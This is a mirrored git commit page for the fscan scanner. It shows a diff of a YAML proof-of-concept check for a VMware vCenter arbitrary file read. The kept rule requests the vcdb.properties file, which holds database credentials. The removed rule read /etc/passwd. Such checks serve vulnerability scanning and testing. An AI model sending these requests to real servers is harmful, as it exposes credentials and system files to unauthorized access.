archive/fscan
1
0
Fork 0
mirror of https://github.com/shadow1ng/fscan.git synced 2026-09-26 05:01:53 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

加入 404星链

Browse Source
This commit is contained in:
shadow1ng
2021-04-22 12:06:03 +08:00
parent 2466fc3ea7
commit f1163fc3d7
10 changed files with 59 additions and 104 deletions
Download Patch File Download Diff File Expand all files Collapse all files
WebScan/pocs/vmware-vcenter-arbitrary-file-read.yml
+6 -13
View File
@@ -1,17 +1,10 @@
name: poc-yaml-vmware-vcenter-arbitrary-file-read
groups:
win:
- method: GET
path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"org.postgresql.Driver")
linux:
- method: GET
path: /eam/vib?id=/etc/passwd
follow_redirects: false
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
rules:
- method: GET
path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties
follow_redirects: false
expression: |
response.status == 200 && response.body.bcontains(b"org.postgresql.Driver")
detail:
author: MrP01ntSun(https://github.com/MrPointSun)
links: